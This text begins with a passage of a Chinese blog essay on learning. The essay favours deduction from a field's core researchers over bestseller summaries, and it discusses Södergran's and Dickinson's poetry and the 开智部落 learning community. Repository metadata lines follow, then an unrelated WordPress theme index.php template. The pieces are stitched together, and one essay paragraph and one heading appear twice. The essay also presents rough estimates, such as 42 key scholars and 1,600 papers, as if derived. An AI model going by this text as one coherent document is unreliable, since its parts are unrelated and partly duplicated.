对于年轻创作者来说,**困难的地方并不是坚持内在动机,而是作品得不到反馈,不知道自己是对是错**。因此,这就是给大家的第二个建议。你需要借助「演绎法」,掌握一套不需要依赖任何第三方评判自己作品的方法论。 问题改变思考层面。假设你将问题定义在「行为和现象」层面,此时,你会收集到大量现象,比如有的现象说的是ABC三点;有的现象说的是123三点,伴随信息过载时代的来临,**现象日益层出不穷,你需要收集的现象越来越多,整天疲于奔命**。 比如你要学习认知科学,现在市面上认知科学有这么多畅销书,你把这些畅销书全给买来。第一本畅销书讲到二十个知识点,吭哧吭哧写一堆读书笔记;第二本书又写一堆读书笔记,写了十本之后开始产生疲倦,就不写了。目前还有一种流行的读书方法,叫做思维导图法,就是给一本书整理一份思维导图,就意味着消化了此书。 然而,以上学习路径仅仅只代表着归纳法而已。绝大多数人忘记了,理解知识有两种方法,第一种是归纳法,第二种是演绎法。原本两种方法相辅相成,互为表里。**现在的人过于强调归纳法,却忘记了演绎法**。 **什么是演绎法?从体系、模型与框架入手**。举个例子,我拿科学计量学的一本核心期刊做了一个知识图谱。你会发现,将该领域可视化后,整个科学计量学领域值得关注的核心研究者并不多。不到十位。科学计量学是一个小的研究领域,因此值得关注的研究者就这么多;而在认知科学、儿童心理学这么庞大的研究领域,按照二八定律,贡献了学科 80% 论文被引的学者,也不会超过四十二人。 假设你借助演绎法,找到这四十二人之后。每个核心学者,平均一辈子写一百篇到两百篇左右论文。继续按照二八定律,这些论文中真正值得阅读的,仅仅四十篇左右而已。所以在认知科学和儿童心理学这么庞大领域,值得阅读的经典论文,也就是 1600 篇左右。这 1600 篇会相互引用,相互打架,最终合并同类项,实际贡献的核心原创术语不过 200-400 个左右。 **从源头入手,借助第三方数据进行演绎,放弃低效的归纳法,这样可以更快地明晰学科知识图谱**。反之,低效的归纳法学习会是如何?举个简单的例子,市面上有一本畅销书,叫做《清醒思考的艺术》,这本书讲的是认知偏差,总结了52种认知偏差。 你会发现,读这类书非常低效。你把它的52种认知偏差背得滚瓜烂熟,把思维导图做得非常精美,但是只要是有一个文笔更好的作者写了一本新书,假设这位新作者写的不是52种认知偏差,而是 36 种或者 42 种,你又得把所有的知识体系推翻重来。 无论最初的 52 种认知偏差,还是之后的 36 种或 42 种,**最核心的源头知识来自少数研究者的贡献**。不仅掌握归纳法,更要掌握演绎法,**借助体系、模型与框架,提升思维品质与学习效率,这是要提醒大家修正的一种学习习惯**。 掌握演绎法,为什么会有助保护自己的内在动机?很多人在年轻时,恨不得给自己找一个人生导师。**每到一个社会大变革时代,思想混乱,信仰缺失,精神空虚,青年导师就会变得格外流行**。就像鲁迅所言, >青年又何须寻那挂着金字招牌的导师呢?不如寻朋友,联合起来,同向着似乎可以生存的方向走。你们所多的是生力,遇见深林,可以辟成平地的,遇见旷野,可以栽种树木的,遇见沙漠,可以开掘井泉的。问什么荆棘塞途的老路,寻什么乌烟瘴气的鸟导师! 年轻的创作者往往不自信,不知道自己的作品好坏,急需得到他人反馈。与之相反,**成熟的创作者掌握一套不依赖他人评价,得到反馈,不断进行刻意练习的方法论**。举个例子,在认知写作学课上,我给各位同学介绍了一个不借助他人反馈,提高写作能力的方法。就是找到一些中文名家,如张爱玲、余光中翻译过的英文作品,比如《老人与海》,然后你尝试翻译看看,再将自己的翻译与张爱玲、余光中的翻译对比。这样马上明白自己的写作好坏。整个过程,你无需依赖任何他人评价。 **你越熟练地掌握演绎法,你越不需要任何青年导师;你也不需要来自他人的评价或反馈**。因为整个信息求解过程,是你独立完成的。通过演绎法,提高个人信息求解能力,摆脱来自他人的评价,学会借助历史上的牛人与第三方客观数据来考量自己的进度,获得反馈。这是一种巧妙地保护内在动机的做法。 涉及到的具体技巧,可以参考我的旧文: - 阳志平谈如何学习谈判:http://t.cn/RPsqIbK - 如何学习科学:http://www.yangzhiping.com/psy/open-science-toolbox.html - 科学计量学:发现学科正在静悄悄发生的革命:http://www.yangzhiping.com/tech/scientometrics-sci2.html ### 反常识 第三点是反常识。索德格朗在世时,她并没有按照当时的社会习俗约定走自己的路。**每一个时代的「常识」,都意味着这个时代的「认知边界」**。它往往是一代又一代传承下来,帮助人们降低认知负荷。 但是,保护自己的内在动机,走上了一条林萌小道,意味着常识还不够,你要学会更好地掌握「反常识」的证据。依据社会常识,往往父母会告诉你要,兼顾名利与兴趣,如果你此时你坚持内在动机而活,那么你会不断地质疑自己;当你读遍历史上所有伟大智者的故事,发现几乎所有人都是遵从「内在动机」而活,**你获得了足够多的证据,那时你会更相信自己的选择**。 好思想与坏思想区别在于,前者**侧重鲜活证据**,后者侧重说服自己或他人。所以达尔文曾言,**碰到不相信的,立即写下来,否则隔了一段时间,大脑会本能的拒绝相信。** 举个例子,「常识」告诉你,你应该一边听讲座一边快速记笔记。然而,认知科学证明了,一边上课一边写笔记是一种低效的学习方法,因为上课写笔记是在你的「工作记忆」区域工作,你会产生一种「元认知错觉」,误以为听懂了,学会了。更好的方法是六个小时后写笔记,那时你可能已经遗忘了一些细节,你会使劲回想,从而得以调用大脑更多能量。 通过演绎法,假设你像芒格的栅格模型一样,求解出每个时代最重要的高阶模型,有 1000 个到 2000 个。事实上,你掌握其中的100 个到 200 个,就可以过上理性的一生。**每个高阶模型,都将突破你的既有认知边界**。如果你总是采取最舒适的姿态学习,比如永远读畅销书;永远刷朋友圈,那么,就像上课写笔记一样,输入时容易,未来提取时就会变得困难。反之,如果你是借助于一手论文与经典图书获取高阶模型,输入时难,未来提取就会变得更容易一些,才能摆脱「听过很多好道理,依然过不了这一生」的悲剧。 所以开智部落的学习,注重「反常识」。**各位同学需要学会撰写「反常识」卡,整理学习材料的各种反常识的证据,然后用这些鲜活证据来一步一步地拓展自己的认知边界**。 ## 假如我拥有一座大花园 ### 当索德格朗遇上狄金森 虽然狄金森与索德格朗两人气质类似,但是两人不是同一个时代,并且一位在美国一位在北欧。**当索德格朗遇上狄金森,会发生什么?** 索德格朗其实回答了这个问题。她当时没有得到同时代的人的肯定,但是她有一位知音,叫做黑格,对她的诗歌给予高度称赞。这种心理支持,对一位热情地创作者,意义颇大。时隔多年后,两人第一次真正见面,索德格朗写了一首诗,赠给黑格: 诗5:春天的秘密 姐姐,你像一阵春风穿越山谷而来…… 阴影里的紫罗兰弥散着温馨的满足。 我要把你带往森林最温馨的角落: 那里我们将互诉衷肠,述说如何见到上帝。 索德格朗 在森林最温馨的角落,索德格朗将与姐姐互诉衷肠。**假设索德格朗和狄金森两位在一起,她们共建一个大花园,隔绝来自世界的喧嚣,这也许会给人类带来一种新型的生活**。 在森林最温馨的角落,索德格朗将与姐姐互诉衷肠。**假设索德格朗和狄金森两位在一起,她们共建一个大花园,隔绝来自世界的喧嚣,这也许会给人类带来一种新型的生活**。 诗6:大花园 我们都是无家可归的漂泊者,都是兄弟姐妹。、 我们背着包裹,衣衫褴褛,与我们相比,权贵们又拥有什么? 黄金不能衡量财富,随清风向我们涌来 我们越是高贵,我们就越明白我们是兄妹 我们只有付出自己的心灵,才能赢得自己的同类 假如我拥有一座大花园,我会邀请我所有的兄妹 他们每人都会从我这里一份贵重的礼物 没有祖国,我们会变成一个民族 我们将在花园四周修筑篱笆,隔绝来自世界的喧嚣 我们恬静的花园,会给人类带来一种新型的生活 —— 索德格朗 ### 人类学习的三大隐喻 ### 人类学习的三大隐喻 组建开智部落这个异类大花园,我希望能让更多的索德格朗尽早遇见更多的狄金森。在今天的分享中,我不断地强调「问题改变思考层面」,那么,在思考学习时,你会发现哪些问题呢? 假设你仅仅关注冰山上的「问题和现象」,它给大家带来的改变可能是两倍左右你的问题可能是「课程」—— 去哪里找到能够教会自己学会编程与写作的课程? 如果希望获得十倍的改变,你的问题可能马上变为「学习共同体」 —— 去哪里能够找到一个聚集足够优质的学习组织,能够让自己被动式进步? 但是,真正能够带来一百倍的改变,**需要你采取完全不同的成长方式与隐喻思维**。比如,目前风险投资界普遍流行的话语体系是基于战争隐喻,如A轮/B轮/C轮,如赛道如卡位如布局。然而,早期创业公司最关键的地方从来不是竞争,而是成长。你可以采取不同于战争隐喻的另一种思维模式——树形隐喻。在树形隐喻视角下,我不再是为了跟谁竞争而诞生,我不是为了别人而活,我是为了自己的成长而活。同样,**人类学习有三大隐喻,不同的隐喻带来了不同的成长方式**。 **第一个隐喻是获得——学习是获得知识**。这是大学毕业前,你最熟悉的一种教育方式。在这种隐喻看来,学习就好比一个管道,知识从老师的头脑中输入到你的头脑中。这是工业时代,以车间流水线制度为标杆,我们习得的一整套教育制度。 **第二个隐喻是参与——学习是参与的过程**。目前,从小学到大学,都受制于第一个隐喻,即学习是获得知识。而现在学习科学主流的关掉,强调的是学习是一种参与。在学术上有两个重要源头:认知建构论与认知学徒制。在这种视角下,强调学徒制、学习部落与实践社群。各类学习型社群越来越流行,但是我个人一直打一个问号,没有输出的聚集,只会带来信息过载。 因此,你需要**第三个创造隐喻——学习是为了创造**。你可以想象自己像一棵树一样生长,刚开始有一个发心的种子,慢慢生根发芽,成为你与这个世界对话的跟脚。在如今这个以信息过载、新学科新职业层出不穷的时代,开智部落更强调第三种隐喻。 这就是最后,我给大家的一个小问题,我希望未来大家不断问自己,**你创造的作品是什么**? ## 小结 明朝大儒王阳明三十七岁龙场悟道后,热衷讲学。同时代人引之为憾,阳明文章武略,皆为一时之冠,如不热衷讲学,则一生堪称完美。却不知,在阳明之前,所有儒者问道于君,思想必须借助皇权,才有影响;而阳明开时代先河,问道于民,推动了儒学世俗化,从此,人人皆可成为圣人。 五百余年后,有后生小辈效仿先贤,组建学习部落。古为文行忠信四科,今天则为五大元学科。古代大儒,跋山涉水,讲学劳累;今天则是随时随地,直播知识,四海听闻。然千年变幻,不变的是讲学须有宗旨。如阳明讲学宗旨落在「致良知」;刘宗周讲学宗旨落在「诚意」。**我之讲学宗旨落在「修己以安人」**。身处时代大变局,胸怀大志者当与智者同行,与勇者相互鼓励;与仁者构建同辈信任,从而不惑不惧不忧。**预测未来不如一起创造未来,欢迎你,开智部落新成员**。 阳志平 2016-10-20
kelvinblood/kelvinblood.github.com
_posts/2017-10-18-choose-the-soul.md
Markdown
gpl-2.0
20,982
<?php get_header(); ?> <div id="content" class="grid_9 <?php echo of_get_option('blog_sidebar_pos') ?>"> <?php include_once (TEMPLATEPATH . '/title.php');?> <?php if (have_posts()) : while (have_posts()) : the_post(); // The following determines what the post format is and shows the correct file accordingly $format = get_post_format(); get_template_part( 'includes/post-formats/'.$format ); if($format == '') get_template_part( 'includes/post-formats/standard' ); endwhile; else: ?> <div class="no-results"> <?php echo '<p><strong>' . __('There has been an error.', 'theme1762') . '</strong></p>'; ?> <p><?php _e('We apologize for any inconvenience, please', 'theme1762'); ?> <a href="<?php bloginfo('url'); ?>/" title="<?php bloginfo('description'); ?>"><?php _e('return to the home page', 'theme1762'); ?></a> <?php _e('or use the search form below.', 'theme1762'); ?></p> <?php get_search_form(); /* outputs the default Wordpress search form */ ?> </div><!--no-results--> <?php endif; ?> <?php get_template_part('includes/post-formats/post-nav'); ?> </div><!--#content--> <?php get_sidebar(); ?> <?php get_footer(); ?>
hoangluanlee/dlbh
wp-content/themes/theme1762/index.php
PHP
gpl-2.0
1,311